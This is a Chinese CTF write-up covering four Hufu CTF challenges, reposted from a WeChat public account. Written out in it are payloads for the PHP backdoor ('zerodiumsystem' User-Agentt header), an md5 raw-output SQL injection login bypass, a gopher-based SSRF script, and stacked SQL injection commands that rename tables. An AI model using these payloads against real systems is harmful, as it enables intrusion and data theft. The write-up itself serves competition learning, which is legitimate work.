虎符ctf wp

  • A+
所属分类:逆向工程

作者:红色代码战队  编辑:白帽子社区运营团队




    "白帽子社区在线CTF靶场BMZCTF,欢迎各位在这里练习、学习,BMZCTF全身心为网络安全赛手提供优质学习环境,链接(http://www.bmzclub.cn/)

"    




战队信息

战队名称:红色代码战队

战队排名:59

解题情况

请粘贴战队排名截图和答题情况截图:

示例的操作流程:

“详细数据”→ “解题总榜”→“输入队伍名”→“搜索”→“截图”

替换为您队伍解

虎符ctf  wp


虎符ctf  wp
1 Misc 你会日志分析吗

虎符ctf  wp

access.log很明显是时间盲注的日志

虎符ctf  wp

注意看到了,每一位测试中有一行返回包长度与其他的不一样

虎符ctf  wp

OK,找到了判断点,直接把每一位的十进制ascii码给找出来就行了,使用Python简单处理

from base64 import *flag = ''with open('access.log','r') as f:   lines = f.readlines()   for line in lines:       if "select%20flag%20from%20flllag" in line:           packet_len = line[line.find(' 200 ')+5:line.find(' "-""python-requests/2.21.0"')]           if packet_len == '377':                ascii_code =line[line.find('))=')+3:line.find(',sleep')]                ascii_str =chr(int(ascii_code))                flag += ascii_str           else:                pass       else:           passprint(b64decode(flag).decode('utf-8'))

虎符ctf  wp

flag值:flag{You_are_so_great}

虎符ctf  wp
2 Web 签到

虎符ctf  wp

虎符ctf  wp

虎符ctf  wp

根据题目给出的hint,可知,这里的源码使用的是北京时间2021.3.29,git.php.net服务器遭到黑客攻陷,php源码被黑客植入后门。


详情见:http://cn-sec.com/archives/313267.html


直接抓包,修改user-agent

Payload: User-Agentt:zerodiumsystem("ls -lha /");

虎符ctf  wp

虎符ctf  wp

flag值:flag{505c0a8f-4d55-a3f2-aac08c8f5dd9}

虎符ctf  wp
3 Reverse: redemption code

虎符ctf  wp

IDA7.5打开反编译。

虎符ctf  wp

标准的c++写的程序。关键就看pre()函数和server_check_redemption_code()函数。


进到pre函数,里面就是检测了一下字符串长度然后还是执行了server_check_redemption_code()函数。所以关键只有server_check_redemption_code()函数。

虎符ctf  wp

函数内部就是建立一个数组。Box[input_len][256]。然后每一层的基准是标号。即Box[0][] = {0...}, Box[1][] = {1...},然后将输入的ASCII处修改为i+1。-

虎符ctf  wp

而长度又是限定的0xe。求解字符串分别为"Ninja Must Die 3 Is A Cruel Game, So Hard For Me"和"I Love Ninja Must Die 3. Beautiful Art And Motive Operation IsCreative."。第一个要求返回不是-1,即有解。第二个要求返回是7.算得k等于20.即“I Love Ninja Must Die”。直接就能看出flag是Ninja Must Die。

flag值:flag{NinjaMust Die}

 

虎符ctf  wp
4 Web “慢慢做”管理系统

虎符ctf  wp

虎符ctf  wp

根据题目hint,这里的查询语句是:

"SELECT * FROM users WHERE password ='".md5($password,true)."' limit 0,1";

经常做CTF的选手,一眼就看出来这里是要进行md5十六进制转成字符构造成注入

Payload:ffifdyop

直接将这个作为密码输入,遗憾的是,这个字符貌似被过滤了

虎符ctf  wp

搜索引擎找了一下,看看有没有和字符ffifdyop一样的md5加密后转换成字符会构造成注入的,找到一个:

129581926211651571912466741651878684928

虎符ctf  wp

将这个作为密码输入,登陆成功

虎符ctf  wp

SSRF,根据前面的线索,找一下内网的admin.php,这里输入:127.0.0.1/admin.php或这localhost/admin.php

虎符ctf  wp

在内网存在这样一个admin.php,接下来思路就比较明晰了,强大的gopher协议可以提交GET/POST请求,通过gopher去打这个admin.php,gopher打内网注入点

 

Python简单处理下我们需要传入内网的POST数据:

from urllib.parse import quote payload = "username=mochu7&password=mochu7" postdata = """POST /admin.php HTTP/1.1Host: 127.0.0.1Content-Type:application/x-www-form-urlencodedContent-Length: {} {}""".format(len(payload),payload) final_payload = 'gopher://127.0.0.1:80/_'+quote(quote(postdata))print(final_payload)print(postdata)

虎符ctf  wp

成功传入POST数据到内网admin.php,然后修改payload,加个单引号发现报错

虎符ctf  wp

后面就是继续修改payload去测试这个注入点,然后发现了这是堆叠注入,而且越测越像原来强网杯随便注那题,但是这里加了一些黑名单过滤了:select、handler等

payload = "username=mochu7';showdatabases#&password=mochu7"

虎符ctf  wp

堆叠查询到数据库:ctf、ctf2、information_schema

payload = "username=mochu7';usectf;show tables#&password=mochu7"payload = "username=mochu7';use ctf2;showtables#&password=mochu7"

虎符ctf  wp

ctf库:users表

ctf2库:real_admin_here_do_you_find表、fake_admin表

real_admin_here_do_you_find表:  password字段

我们要找的是真正的admin的密码

payload = "username=mochu7';usectf2;show columns from `real_admin_here_do_you_find`#&password=mochu7"

 

虎符ctf  wp

做到这里,继续下去本来应该是读取字段数据,但是这里过滤了select、handler做题的时候预编译也没成功,后来想起来当初做那道原题的时候有一种替换表名的姿势,我们把当前查询的fake_admin表改成别的名称,然后将我们想要查的real_admin_here_do_you_find表改成fake_admin表

 

payload = "username=mochu7';renametable fake_admin to mochu;rename table real_admin_here_do_you_find tofake_admin#&password=mochu7"

虎符ctf  wp

修改成功,然后构造注入

payload = "username=mochu7'or 1=1;showtables;#&password=mochu7"

虎符ctf  wp

得到真正的admin密码:

5fb4e07de914cfc82afb44vbaf402203

最后传入真正的admin账户名和密码

payload ="username=admin&password=5fb4e07de914cfc82afb44vbaf402203"

虎符ctf  wp

提示我们访问flag.php,并且查看源码拿着cookie去

虎符ctf  wp

虎符ctf  wp


往期精彩文章




apache ofbiz CVE-2021-26295 RMI反序列化分析
红队战术-用ssl加密你的metasploit通信
回顾2020,我们是如何挖掘漏洞的
【护网行动专题】红队攻击指南




虎符ctf  wp
技术支持:白帽子社区团队
— 扫码关注我们 


本文始发于微信公众号(白帽子社区):虎符ctf wp

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: